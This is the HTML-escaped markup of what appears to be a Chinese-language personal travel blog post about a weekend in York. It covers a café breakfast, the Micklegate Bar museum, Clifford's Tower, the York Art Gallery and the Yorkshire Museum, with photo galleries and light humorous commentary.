&lt;p&gt;图中可以看到塔内有条红线。&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#%E6%95%99%E5%A0%82%E5%9C%B0%E4%B8%8B&quot;&gt;York
Minster&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地下的讲解牌&lt;&#x2F;a&gt;说诺曼时期教堂外壁是白墙饰以红线、大菠萝柱子也涂有亮色。我不清楚和这座塔的红线有没有关系。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Partisan&quot;&gt;Partisan&lt;&#x2F;h3&gt;
&lt;p&gt;时间快进到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Partisan。那家店店面不大，像是只做外卖生意的店。不过实际很火，还需要排队。我们站了不到十分钟，后面就来了好几个人了。等进去才发现别有洞天：不止店内有很多座位，店后的小巷里也搭了巨长的棚子供人用餐。我对这家店的当日炖菜很满意：鸡肉、酸奶、不知道什么草、石榴籽和杏仁片。味道好极了。碗边上能看到斑驳的石榴汁水，但吃起来仍然是西红柿底——也可能石榴也这味吧。杏仁的加入又让整道菜口感和味道上再增一份层次。总之比我常吃的半成品披萨好太多。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Micklegate_Bar&quot;&gt;Micklegate Bar&lt;&#x2F;h2&gt;
&lt;p&gt;计划中的下一站是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Clifford%E2%80%99s_Tower&quot;&gt;Clifford’s
Tower&lt;&#x2F;a&gt;，不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Partisan&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Micklegate
Bar&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;附近。周六走城墙路过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Micklegate
Bar&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时得知那里有个小博物馆，但当时已经关门了，所以吃完早饭我先去那个博物馆逛了逛。&lt;&#x2F;p&gt;
&lt;p&gt;感觉呢，是不值&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3.5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑门票的：里面讲解牌比实物多，而且讲所有城墙的讲解牌比讲这座门的讲解牌多。不过我一直好奇城门上那些十字形窥孔看外面是什么样，进来算是圆梦了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_104739964.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_104739964.afd1ead6981de856.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_104739964.920ecf3828508c49.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_104739964.ba623256294358c6.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_104739964.920ecf3828508c49.webp&quot;
	alt=&quot;从窥孔看城墙&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_105654782.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_105654782.1d7cb58f972c8b6c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_105654782.c39187146ab5327f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_105654782.344b5bde3565cc96.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_105654782.c39187146ab5327f.webp&quot;
	alt=&quot;从窥孔看街道&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;Clifford’s_Tower&quot;&gt;Clifford’s Tower&lt;&#x2F;h2&gt;
&lt;p&gt;像&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;melrose-abbey&#x2F;&quot;&gt;Melrose
Abbey&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一样，我买了附带导览书的门票。不过如今对游记的看法变了，所以不会过多介绍景点的历史，毕竟&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;riding-the-iron-rooster&#x2F;#%E6%B8%B8%E8%AE%B0%E5%B0%B1%E6%98%AF%E5%85%85%E6%BB%A1%E5%81%8F%E8%A7%81%E7%9A%84&quot;&gt;我不是导游&lt;&#x2F;a&gt;。而且说起&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clifford&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这个名字，我更熟悉的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Clifford
gates；对于这座建于诺曼时代，又经历过英国内战的塔我没啥可说的。我唯一了解的，是塔下面黄色的小花是蒲公英。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230304_165050267.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_165050267.ff1dd31c322147a2.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_165050267.864f164012db77fd.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_165050267.31f8a2877ae07f81.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230304_165050267.864f164012db77fd.webp&quot;
	alt=&quot;Clifford’s Tower&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230307_143359599.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230307_143359599.ffa7b546e1cb0460.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230307_143359599.3ec2bc28406e1c60.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230307_143359599.1b29921fd9abf02b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230307_143359599.3ec2bc28406e1c60.webp&quot;
	alt=&quot;复原图&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_113929873.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_113929873.214d71b40bc97324.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_113929873.7d505885259e922e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_113929873.53145c6705fb5a11.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_113929873.7d505885259e922e.webp&quot;
	alt=&quot;Chaple旁的旋转楼梯&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_114952569.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114952569.a4df47ce942dea37.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114952569.e64b6886b2ad8eae.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114952569.976623f848e8b6c7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114952569.e64b6886b2ad8eae.webp&quot;
	alt=&quot;从塔顶俯视塔内&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_114408439.PANO.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114408439.PANO.25db66d3acd87eee.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114408439.PANO.fe366a369fd50d1b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114408439.PANO.a2e0ceb74e905732.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_114408439.PANO.fe366a369fd50d1b.webp&quot;
	alt=&quot;塔顶全景&quot;
	
	
	height=&quot;1585&quot;
	width=&quot;8492&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;顺带说一句，我觉得下雨时参观这座半露天的塔会很有趣。另外，买票时发现后面来的乌克兰人可以免票进入。还有，我在去这座塔的路上（city
wall）碰见一个可爱的猫娘，不过由于是小孩所以没照相。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;York_Art_Gallery&quot;&gt;York Art Gallery&lt;&#x2F;h2&gt;
&lt;p&gt;参观完塔之后我们分开了：我去还钥匙、她去买礼物。原定在美术馆门前集合，但等我还完钥匙她还想再逛，所以我们就各走各的了。&lt;&#x2F;p&gt;
&lt;p&gt;我对这美术馆没抱什么期待，结果还不错。画廊里好多评论是请当地&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LGBTQQIP2SAA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;群体写的，他&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;她&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;它们的视角还挺有趣的。展品也很现代，我去的时候正巧碰上陶艺展，我喜欢。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_130208404.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130208404.e942c3711a75d1b2.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130208404.36262704b28500bc.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130208404.83f0a0d1d27b7dc1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130208404.36262704b28500bc.webp&quot;
	alt=&quot;Winter Sea by Paul Nash&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_130318225.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130318225.86c7dd03330994c5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130318225.578e147b4af34f2a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130318225.e9a755e5aa139f53.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130318225.578e147b4af34f2a.webp&quot;
	alt=&quot;Side View of Skull by Damien Hirst&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_130405920.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130405920.f731313d5e8de768.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130405920.bf6487565a9a58aa.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130405920.ff669e7170f4c070.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130405920.bf6487565a9a58aa.webp&quot;
	alt=&quot;Early Memory Series No.2: Doodle Bug by Rose Wylie&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_130700901.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130700901.e43d51a577acfda3.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130700901.f262c4b2a83b3585.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130700901.519ed9e953e3256e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130700901.f262c4b2a83b3585.webp&quot;
	alt=&quot;忘了哪个荷兰人画的静物&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_130033990.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130033990.8f48bd0e391f1eb7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130033990.e613e5ef7835e1c2.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130033990.8712c6343208d7df.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_130033990.e613e5ef7835e1c2.webp&quot;
	alt=&quot;Globe Fish by Ann Stokes&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_131333452.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131333452.f55aa219ae7493b6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131333452.567ecba49f3036f4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131333452.c6512303f450b709.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131333452.567ecba49f3036f4.webp&quot;
	alt=&quot;Raku Fox by Rosemary Wren&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_132405913.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_132405913.b2f9c6539a26ee22.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_132405913.b6c53fe3362c2be3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_132405913.98d8529087690669.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_132405913.b6c53fe3362c2be3.webp&quot;
	alt=&quot;Drunken Fish by Pamela Leung&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_131939627.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131939627.079761a32a17530a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131939627.4fd605ee6b741084.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131939627.d0a769f2ef943ff4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_131939627.4fd605ee6b741084.webp&quot;
	alt=&quot;Imperial 66 Typewriter &amp;amp; Hello World in Python&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;展馆中间有台&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Imperial
66&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打字机——我初中时对打字机很痴迷，不过当时零花钱不多所以一台也没买。长大后没那么痴迷了，但还是对它感到好奇，这次正好体验一下。只是键盘里没有花括号，导致没法写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C，最后简单写了句&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Python。感谢路过的阿姨教我怎么放纸、换行、使劲按按键。她说很久很久很久以前她用过打字机。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_133207937.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_133207937.MP.3b14383ec31e4122.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_133207937.MP.5aff9f21f1f39793.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_133207937.MP.128ed5620d9ec34d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_133207937.MP.5aff9f21f1f39793.webp&quot;
	alt=&quot;Quadrille by Rose English&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;在这里我还看到了领先日本&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的英国马娘录像。十分形象，十分有趣。我想起&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;riding-the-iron-rooster&#x2F;&quot;&gt;保罗・索鲁在苏联看马戏表演锐评苏联政治制度那一段&lt;&#x2F;a&gt;，让我戏仿他对英国马娘评论一番：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;将人变成动物的愿望是奴隶制度发展最强大的动力&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”埃利亚斯・卡内蒂在《群众与权力》的“转变”一章中写道……没有什么比一名英国驯马师更能体现英吉利思想了，而透过少女扮成马的舞步背后的训练过程，我们已经可以充分地了解英国的政治制度了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-6&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-6-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-6-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[6]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-6-content&quot;&gt;巧合的是，艺术家就姓英吉利。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;哦对了，在观赏《Old centaur bound by love》时我隐约闻到一股焖面的味道。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Yorkshire_Museum&quot;&gt;Yorkshire Museum&lt;&#x2F;h2&gt;
&lt;p&gt;出了美术馆，我跟着地图走到了博物馆。我把它和上午路过的图书馆搞混了，以为它很小，但其实它很大。不仅大，内容也丰富（因为是约克郡，而不是约克市的博物馆&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：从中生代的鱼龙骨架到罗马角斗士的遗骨；从铁器时代的匕首到盎格鲁时期的宝剑……最绝的是博物馆和修道院遗址融为一体，仿佛博物馆是生长出来的一样。如果要我挑两个来约克必去的景点，那必然是大教堂和博物馆（不过旅馆老板说去的人最多的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JORVIK
Viking
Centre，可能那个也很好吧&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我也没什么可写的了，大家有空去一趟吧。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_142034933.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_142034933.c311419d72f22518.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_142034933.06aef43af528b3bb.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_142034933.e6dfeab2ace54cf9.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_142034933.06aef43af528b3bb.webp&quot;
	alt=&quot;鱼龙标本&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_143215120.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_143215120.8ec4f36078c0812f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_143215120.bf232dd2f03ec539.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_143215120.83c1ded7984426e9.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_143215120.bf232dd2f03ec539.webp&quot;
	alt=&quot;塞维鲁盆&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230305_145514118.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145514118.e995cf35acb62341.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145514118.164e7fea7f6119f6.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145514118.8ce7dacef25f84be.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20230305_145514118.164e7fea7f6119f6.webp&quot;
	alt=&quot;鸡巴&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;








